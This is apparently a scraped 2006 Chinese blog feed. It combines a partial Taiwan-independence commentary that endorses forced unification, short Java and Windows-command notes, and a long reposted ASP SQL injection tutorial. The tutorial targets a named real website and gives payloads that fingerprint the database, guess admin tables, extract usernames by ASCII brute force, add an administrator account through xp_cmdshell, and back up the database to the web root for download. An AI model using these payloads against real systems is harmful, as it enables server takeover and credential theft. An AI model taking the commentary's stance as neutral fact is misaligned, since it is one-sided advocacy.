实质的急独步骤则是：1、以“台湾”为名称重新申请加入联合国、这是必败的、屡试屡败的。不必赘述。美国已经表态反对台湾加入联合国、认为这是改变现状。2、年内将台湾“新宪法”定稿，明年举办“新宪公投”的“急独主张”，这是大陆、以及泛蓝最重视的、也是可以着力的。大陆、以及一切认同一个中国的势力，在此问题上，应该象04年度公投一样，“敌人在哪里挑起事端、就让它在哪里遭到失败”。这是目前大陆的最大课题。也是泛蓝的最大课题。目前，对于台独势力有利的因素，主要是台独基本选民、以及日本右翼、美国鹰派等等。但是，对于大陆有利、对于泛蓝有利的条件还是具备：<BR><BR>　　A、台湾目前在大陆的投资是500～1000亿美元之间，这一力量大多是支持维持现状的、不希望冒险的；<BR><BR>　　B、台湾经济连年滑坡，民众不满。部分民众对于政治、选举、公投等厌倦。<BR><BR>　　C、民进党由于内部分裂、腐败等问题，凝聚力、号召力下降。过年前民进党前主席林义雄退党，就是一例。<BR><BR>　　D、泛蓝势力目前在议院占据优势、在县市长等的地方行政力量上占据优势，台独势力只是在任务型国代上占据优势。重要的公投，需要议院三分之二通过。这一关未必泛绿过得了。除非明年台湾议会选举、泛绿大胜。但是，泛绿大胜的希望相对渺茫。原因在于马英九当主席的国民党，目前人气上还是占先。泛绿的希望是在专门修宪的“任务型国代”，任务型国代本身就是用来修宪的，目前泛绿占据部分优势。<BR><BR>　　E、大陆会采取各种方式方法、继续争取民心。<BR><BR>　　F、可以用“熊猫公投”、“直航公投”等，制约“新宪公投”。直航对于民众、尤其是对于台湾经济界而言，还是有希望的、翘首以盼的。<BR><BR>　　G、即使是实施“新宪公投”，还需达到一定的比例，才能通过，达不到就是失败。比例是50％。上次“导弹公投”，赞成票率只有32％左右，没有通过，成为“爱国者导弹军购案”在立法院屡屡被否的一个法律根据。<BR><BR>　　H、即使通过“新宪公投”，则通过之时，按照《反分裂法》，就是开战之日。就是中国使用任何武器和手段捍卫国家统一之日。从笔者大年初二以来同大陆部分部队人士联系的情况看，希望有所作为的大陆年轻军官，倒是有部分希望陈水扁走得更远更快。相信陈水扁的“急独”，将为今年三月大陆的人大、政协会议、再度提高大陆军费，产生有利的刺激。将推动中国军备的更快发展。<BR><BR>　　笔者认为，下列意见可能是绝大多数大陆人的意见，就是：我们不希望战争那一天的到来；但是，如果那一天来了，我们会众志成城、直接面对。“分裂”的代价只能是“战火”，“急独”的克星只能是“急统”。如果大陆被迫不得不选择“急统”，那么，大陆会以实力、决断和魄力去选择。<BR><img src ="http://www.blogjava.net/songfei/aggbug/31481.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-02-19 16:35 <a href="http://www.blogjava.net/songfei/articles/31481.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NGY代码书写流程</title><link>http://www.blogjava.net/songfei/articles/29608.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Sun, 05 Feb 2006 08:23:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/29608.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/29608.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/29608.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/29608.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/29608.html</trackback:ping><description><![CDATA[1.E:\SWECTool\develop\build\build_ejb.xml写入EJB名,打包用<BR>2.E:\SWECTool\exec\config\tools\replica-jndi\ReplicaJNDIDefinition.xml加入JNDI名<BR>3.最开始页面由数据中调入链接:表名为SDCMENU<BR>4.例如,sm0050,先进入Sm0050start.jsp页面,<BR><img src ="http://www.blogjava.net/songfei/aggbug/29608.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-02-05 16:23 <a href="http://www.blogjava.net/songfei/articles/29608.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BEA dev2dev WebLogic管理精华</title><link>http://www.blogjava.net/songfei/articles/24630.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 19 Dec 2005 06:01:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/24630.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/24630.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/24630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/24630.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/24630.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: BEA dev2dev WebLogic管理精华文章工具&nbsp;推荐给朋友&nbsp;打印文章时间：2005-09-09&nbsp;作者：sdj21&nbsp;浏览次数： 5741&nbsp;本文关键字：监控,&nbsp;调优,&nbsp;集群,&nbsp;安全,&nbsp;应用管理,&nbsp;日常管理,&nbsp; LDAP 1日常管理1.1WebLog...&nbsp;&nbsp;<a href='http://www.blogjava.net/songfei/articles/24630.html'>阅读全文</a><img src ="http://www.blogjava.net/songfei/aggbug/24630.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2005-12-19 14:01 <a href="http://www.blogjava.net/songfei/articles/24630.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows常用运行命令集</title><link>http://www.blogjava.net/songfei/articles/23529.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 12 Dec 2005 10:40:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/23529.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/23529.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/23529.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/23529.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/23529.html</trackback:ping><description><![CDATA[<FONT face=Arial>Windows常用运行命令集<BR><BR><BR><BR><BR>winver---------检查Windows版本&nbsp;<BR>wmimgmt.msc----打开windows管理体系结构&nbsp;<BR>wupdmgr--------windows更新程序&nbsp;<BR>wscript--------windows脚本宿主设置&nbsp;<BR>write----------写字板winmsd---------系统信息&nbsp;<BR>wiaacmgr-------扫描仪和照相机向导&nbsp;<BR>winchat--------XP自带局域网聊天&nbsp;<BR>mem.exe--------显示内存使用情况&nbsp;<BR>Msconfig.exe---系统配置实用程序&nbsp;<BR>mplayer2-------简易widnows&nbsp;media&nbsp;player&nbsp;<BR>mspaint--------画图板&nbsp;<BR>mstsc----------远程桌面连接&nbsp;<BR>mplayer2-------媒体播放机&nbsp;<BR>magnify--------放大镜实用程序&nbsp;<BR>mmc------------打开控制台&nbsp;<BR>mobsync--------同步命令&nbsp;<BR>dxdiag---------检查DirectX信息&nbsp;<BR>drwtsn32------&nbsp;系统医生&nbsp;<BR>devmgmt.msc---&nbsp;设备管理器&nbsp;<BR>dfrg.msc-------磁盘碎片整理程序&nbsp;<BR>diskmgmt.msc---磁盘管理实用程序&nbsp;<BR>dcomcnfg-------打开系统组件服务&nbsp;<BR>ddeshare-------打开DDE共享设置&nbsp;<BR>dvdplay--------DVD播放器&nbsp;<BR>net&nbsp;stop&nbsp;messenger-----停止信使服务&nbsp;<BR>net&nbsp;start&nbsp;messenger----开始信使服务&nbsp;<BR>notepad--------打开记事本&nbsp;<BR>nslookup-------网络管理的工具向导&nbsp;<BR>ntbackup-------系统备份和还原&nbsp;<BR>narrator-------屏幕"讲述人"&nbsp;<BR>ntmsmgr.msc----移动存储管理器&nbsp;<BR>ntmsoprq.msc---移动存储管理员操作请求&nbsp;<BR>netstat&nbsp;-an----(TC)命令检查接口&nbsp;<BR>syncapp--------创建一个公文包&nbsp;<BR>sysedit--------系统配置编辑器&nbsp;<BR>sigverif-------文件签名验证程序&nbsp;<BR>sndrec32-------录音机&nbsp;<BR>shrpubw--------创建共享文件夹&nbsp;<BR>secpol.msc-----本地安全策略&nbsp;<BR>syskey---------系统加密，一旦加密就不能解开，保护windows&nbsp;xp系统的双重密码services.msc---本地服务设置&nbsp;<BR>Sndvol32-------音量控制程序&nbsp;<BR>sfc.exe--------系统文件检查器&nbsp;<BR>sfc&nbsp;/scannow---windows文件保护&nbsp;<BR>tsshutdn-------60秒倒计时关机命令&nbsp;<BR>tourstart------xp简介（安装完成后出现的漫游xp程序）&nbsp;<BR>taskmgr--------任务管理器&nbsp;<BR>eventvwr-------事件查看器&nbsp;<BR>eudcedit-------造字程序&nbsp;<BR>explorer-------打开资源管理器&nbsp;<BR>packager-------对象包装程序&nbsp;<BR>perfmon.msc----计算机性能监测程序&nbsp;<BR>progman--------程序管理器&nbsp;<BR>regedit.exe----注册表&nbsp;<BR>rsop.msc-------组策略结果集&nbsp;<BR>regedt32-------注册表编辑器&nbsp;<BR>rononce&nbsp;-p&nbsp;----15秒关机&nbsp;<BR>regsvr32&nbsp;/u&nbsp;*.dll----停止dll文件运行&nbsp;<BR>regsvr32&nbsp;/u&nbsp;zipfldr.dll------取消ZIP支持&nbsp;<BR>cmd.exe--------CMD命令提示符&nbsp;<BR>chkdsk.exe-----Chkdsk磁盘检查&nbsp;<BR>certmgr.msc----证书管理实用程序&nbsp;<BR>calc-----------启动计算器&nbsp;<BR>charmap--------启动字符映射表&nbsp;<BR>cliconfg-------SQL&nbsp;SERVER&nbsp;客户端网络实用程序&nbsp;<BR>Clipbrd--------剪贴板查看器&nbsp;<BR>conf-----------启动netmeeting&nbsp;<BR>compmgmt.msc---计算机管理&nbsp;<BR>cleanmgr-------垃圾整理&nbsp;<BR>ciadv.msc------索引服务程序&nbsp;<BR>osk------------打开屏幕键盘&nbsp;<BR>odbcad32-------ODBC数据源管理器&nbsp;<BR>oobe/msoobe&nbsp;/a----检查XP是否激活&nbsp;<BR>lusrmgr.msc----本机用户和组&nbsp;<BR>logoff---------注销命令&nbsp;<BR>iexpress-------木马捆绑工具，系统自带&nbsp;<BR>Nslookup-------IP地址侦测器&nbsp;<BR>fsmgmt.msc-----共享文件夹管理器&nbsp;<BR>utilman--------辅助工具管理器&nbsp;<BR>gpedit.msc-----组策略&nbsp; </FONT><BR><img src ="http://www.blogjava.net/songfei/aggbug/23529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2005-12-12 18:40 <a href="http://www.blogjava.net/songfei/articles/23529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么叫SQL注入</title><link>http://www.blogjava.net/songfei/articles/23200.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Fri, 09 Dec 2005 11:31:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/23200.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/23200.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/23200.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/23200.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/23200.html</trackback:ping><description><![CDATA[<TABLE class=TableBorder cellSpacing=0 cellPadding=3 width=720 align=center border=0>
<TBODY>
<TR>
<TD align=middle colSpan=2 height=25><B><FONT color=#000000 size=2><BR>ASP漏洞全接触-进阶篇</FONT></B> 
<HR align=center width="100%" color=#cc6600 noShade SIZE=1>
作者：未知 来源于：设计动量 推荐等级:<IMG src="http://www.boyho.com/skin/default/star/3star.gif">　 发布时间：2005-11-23 <A href="javascript:addFav(' 设计动量--ASP漏洞全接触-进阶篇')">收藏本文</A> <A href="javascript:StranBody()" name=StranLink>繁體中文</A> <A title=收藏的网页将被永久地保存到新浪ViVi收藏夹http://vivi.sina.com.cn href="javascript:d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(vivi=window.open('http://vivi.sina.com.cn/collect/icollect.php?pid=http://www.boyho.com&amp;title='+escape(d.title)+'&amp;url='+escape(d.location.href)+'&amp;desc='+escape(t),'vivi','scrollbars=no,width=480,height=480,left=75,top=20,status=no,resizable=yes'));vivi.focus();"><IMG src="http://www.boyho.com/skin/default/vivi_coop.gif" border=0></A> </TD></TR>
<TR vAlign=top>
<TD vAlign=top colSpan=2 height=350><SPAN id=ContentLabel style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL&nbsp;Injection，即SQL注入。 <BR><BR>　　SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。&nbsp; <BR><BR>　　但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。&nbsp; <BR><BR>　　根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Lets&nbsp;Go...&nbsp; <BR><BR>　　入&nbsp;门&nbsp;篇&nbsp; <BR><BR>　　如果你以前没试过SQL注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好&nbsp;HTTP&nbsp;错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP&nbsp;500服务器错误，不能获得更多的提示信息。&nbsp; <BR><BR>　　第一节、SQL注入原理&nbsp; <BR><BR>　　以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。&nbsp; <BR><BR>　　在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：&nbsp; <BR><BR>　　Microsoft&nbsp;JET&nbsp;Database&nbsp;Engine&nbsp;错误&nbsp;80040e14&nbsp; <BR><BR>　　字符串的语法错误&nbsp;在查询表达式&nbsp;ID=49&nbsp;中。&nbsp; <BR><BR>　　/showdetail.asp，行8&nbsp; <BR><BR>　　从这个错误提示我们能看出下面几点：&nbsp; <BR><BR>　　1.&nbsp;网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。&nbsp; <BR><BR>　　2.&nbsp;程序没有判断客户端提交的数据是否符合程序要求。&nbsp; <BR><BR>　　3.&nbsp;该SQL语句所查询的表中有一名为ID的字段。&nbsp; <BR><BR><BR>　　从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。&nbsp; <BR>　　第二节、判断能否进行SQL注入&nbsp; <BR><BR>　　看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？&nbsp; <BR><BR>　　其实，这并不是最好的方法，为什么呢？&nbsp; <BR><BR>　　首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理URL时服务器上出错。请和系统管理员联络。&nbsp; <BR><BR>　　其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的&nbsp; <BR><BR>　　那么，什么样的测试方法才是比较准确呢？答案如下：&nbsp; <BR><BR>　　①http://www.19cn.com/showdetail.asp?id=49&nbsp; <BR><BR>　　②http://www.19cn.com/showdetail.asp?id=49&nbsp;;;and&nbsp;1=1&nbsp; <BR><BR>　　③http://www.19cn.com/showdetail.asp?id=49&nbsp;;;and&nbsp;1=2&nbsp; <BR><BR>　　这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：&nbsp; <BR><BR>　　可以注入的表现：&nbsp; <BR><BR>　　①&nbsp;正常显示（这是必然的，不然就是程序有错误了）&nbsp; <BR><BR>　　②&nbsp;正常显示，内容基本与①相同&nbsp; <BR><BR>　　③&nbsp;提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on&nbsp;error&nbsp;resume&nbsp;next）&nbsp; <BR><BR>　　不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。&nbsp; <BR><BR>　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“SQL注入一般步骤”再做分析。 <BR><BR>　　第三节、判断数据库类型及注入方法&nbsp; <BR><BR>　　不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。&nbsp; <BR><BR>　　怎么让程序告诉你它使用的什么数据库呢？来看看：&nbsp; <BR><BR>　　SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：&nbsp; <BR><BR>　　http://www.19cn.com/showdetail.asp?id=49&nbsp;;;and&nbsp;user&gt;0&nbsp; <BR><BR>　　这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and&nbsp;user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值&nbsp;”abc”&nbsp;转换数据类型为&nbsp;int&nbsp;的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。&nbsp; <BR><BR>　　顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。&nbsp; <BR><BR>　　如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。&nbsp; <BR><BR>　　在确认可以注入的情况下，使用下面的语句：&nbsp; <BR><BR>　　http://www.19cn.com/showdetail.asp?id=49&nbsp;;;and&nbsp;(select&nbsp;count(*)&nbsp;from&nbsp;sysobjects)&gt;0&nbsp; <BR><BR>　　http://www.19cn.com/showdetail.asp?id=49&nbsp;;;and&nbsp;(select&nbsp;count(*)&nbsp;from&nbsp;msysobjects)&gt;0&nbsp; <BR><BR>　　如果数据库是SQLServer，那么第一个网址的页面与原页http://www.19cn.com/showdetail.asp?id=49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。&nbsp; <BR><BR>　　如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。<BR><BR>
<SCRIPT type=text/javascript><!--
google_ad_client = "pub-2964042531912356";
google_alternate_ad_url = "http://boyho.com/oshuo.htm";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = "DFF2FD";
google_color_bg = "DFF2FD";
google_color_link = "0000CC";
google_color_url = "008000";
google_color_text = "000000";
//--></SCRIPT>

<SCRIPT src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type=text/javascript>
</SCRIPT>
在入门篇，我们学会了SQL注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看SQL注入的一般步骤： <BR><BR>　　第一节、SQL注入的一般步骤&nbsp; <BR><BR>　　首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。&nbsp; <BR><BR>　　其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：&nbsp; <BR><BR>　　(A)&nbsp;ID=49&nbsp;这类注入的参数是数字型，SQL语句原貌大致如下：&nbsp; <BR>　　Select&nbsp;*&nbsp;from&nbsp;表名&nbsp;where&nbsp;字段=49&nbsp; <BR>　　注入的参数为ID=49&nbsp;And&nbsp;[查询条件]，即是生成语句：&nbsp; <BR>　　Select&nbsp;*&nbsp;from&nbsp;表名&nbsp;where&nbsp;字段=49&nbsp;And&nbsp;[查询条件]&nbsp; <BR><BR><BR>　　(B)&nbsp;Class=连续剧&nbsp;这类注入的参数是字符型，SQL语句原貌大致概如下：&nbsp; <BR>　　Select&nbsp;*&nbsp;from&nbsp;表名&nbsp;where&nbsp;字段=’连续剧’&nbsp; <BR>　　注入的参数为Class=连续剧’&nbsp;and&nbsp;[查询条件]&nbsp;and&nbsp;‘’=’&nbsp;，即是生成语句：&nbsp; <BR>　　Select&nbsp;*&nbsp;from&nbsp;表名&nbsp;where&nbsp;字段=’连续剧’&nbsp;and&nbsp;[查询条件]&nbsp;and&nbsp;‘’=’’&nbsp; <BR><BR>　　(C)&nbsp;搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：&nbsp; <BR>　　Select&nbsp;*&nbsp;from&nbsp;表名&nbsp;where&nbsp;字段like&nbsp;’%关键字%’&nbsp; <BR>　　注入的参数为keyword=’&nbsp;and&nbsp;[查询条件]&nbsp;and&nbsp;‘%25’=’，&nbsp;即是生成语句：&nbsp; <BR>　　Select&nbsp;*&nbsp;from&nbsp;表名&nbsp;where字段like&nbsp;’%’&nbsp;and&nbsp;[查询条件]&nbsp;and&nbsp;‘%’=’%’&nbsp; <BR><BR>　　接着，将查询条件替换成SQL语句，猜解表名，例如：&nbsp; <BR><BR>　　ID=49&nbsp;And&nbsp;(Select&nbsp;Count(*)&nbsp;from&nbsp;Admin)&gt;=0&nbsp; <BR><BR>　　如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。&nbsp; <BR><BR>　　表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。&nbsp; <BR><BR>　　有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。&nbsp; <BR><BR>　　有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。&nbsp; <BR><BR><BR>　　最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。&nbsp; <BR><BR>　　我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：&nbsp; <BR><BR>　　http://www.19cn.com/showdetail.asp?id=49&nbsp;;;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;len(username)&nbsp;from&nbsp;Admin)&gt;0&nbsp; <BR><BR>　　先说明原理：如果top&nbsp;1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8&nbsp; <BR><BR>　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：&nbsp; <BR><BR>　　id=49&nbsp;and&nbsp;(select&nbsp;top&nbsp;1&nbsp;asc(mid(username,1,1))&nbsp;from&nbsp;Admin)&gt;0&nbsp; <BR><BR>　　同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。&nbsp; <BR><BR>　　第二节、SQL注入常用函数&nbsp; <BR><BR>　　有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。&nbsp; <BR><BR>　　Access：asc(字符)&nbsp;SQLServer：unicode(字符)&nbsp; <BR><BR>　　作用：返回某字符的ASCII码&nbsp; <BR><BR>　　Access：chr(数字)&nbsp;SQLServer：nchar(数字)&nbsp; <BR><BR>　　作用：与asc相反，根据ASCII码返回字符&nbsp; <BR><BR>　　Access：mid(字符串,N,L)&nbsp;SQLServer：substring(字符串,N,L)&nbsp; <BR><BR>　　作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串&nbsp; <BR><BR>　　Access：abc(数字)&nbsp;SQLServer：abc&nbsp;(数字)&nbsp; <BR><BR>　　作用：返回数字的绝对值（在猜解汉字的时候会用到）&nbsp; <BR><BR>　　Access：A&nbsp;between&nbsp;B&nbsp;And&nbsp;C&nbsp;SQLServer：A&nbsp;between&nbsp;B&nbsp;And&nbsp;C&nbsp; <BR><BR>　　作用：判断A是否界于B与C之间&nbsp; <BR><BR>　　第三节、中文处理方法&nbsp; <BR><BR>　　在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。&nbsp; <BR><BR>　　先说一点常识：&nbsp; <BR><BR>　　Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。&nbsp; <BR><BR>　　SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode&nbsp;()返回unicode值，再用nchar函数取得对应的中文字符。&nbsp; <BR><BR>　　了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的(网上下载的,请各位不要做坏事)</SPAN></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=0 width=548 border=0>
<TBODY>
<TR>
<TD class=content_td><FONT id=zoom>看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。&nbsp; <BR><BR>　　第一节、利用系统表注入SQLServer数据库 <BR><BR>　　SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：&nbsp; <BR><BR>　　①http://Site/url.asp?id=1;exec&nbsp;master..xp_cmdshell&nbsp;“net&nbsp;user&nbsp;name&nbsp;password&nbsp;/add”--&nbsp; <BR><BR>　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：&nbsp; <BR><BR>　　②http://Site/url.asp?id=1;exec&nbsp;master..xp_cmdshell&nbsp;“net&nbsp;localgroup&nbsp;name&nbsp;administrators&nbsp;/add”--&nbsp; <BR><BR>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。&nbsp; <BR><BR>　　③http://Site/url.asp?id=1&nbsp;;;and&nbsp;db_name()&gt;0&nbsp; <BR><BR>　　前面有个类似的例子and&nbsp;user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。&nbsp; <BR><BR>　　④http://Site/url.asp?id=1;backup&nbsp;database&nbsp;数据库名&nbsp;to&nbsp;disk=’c:\inetpub\wwwroot\1.db’;--&nbsp; <BR><BR>　　这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。&nbsp; <BR><BR>　　⑤http://Site/url.asp?id=1&nbsp;;;and&nbsp;(Select&nbsp;Top&nbsp;1&nbsp;name&nbsp;from&nbsp;sysobjects&nbsp;where&nbsp;xtype=’U’&nbsp;and&nbsp;status&gt;0)&gt;0&nbsp; <BR><BR>　　前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’&nbsp;and&nbsp;status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。&nbsp; <BR><BR>　　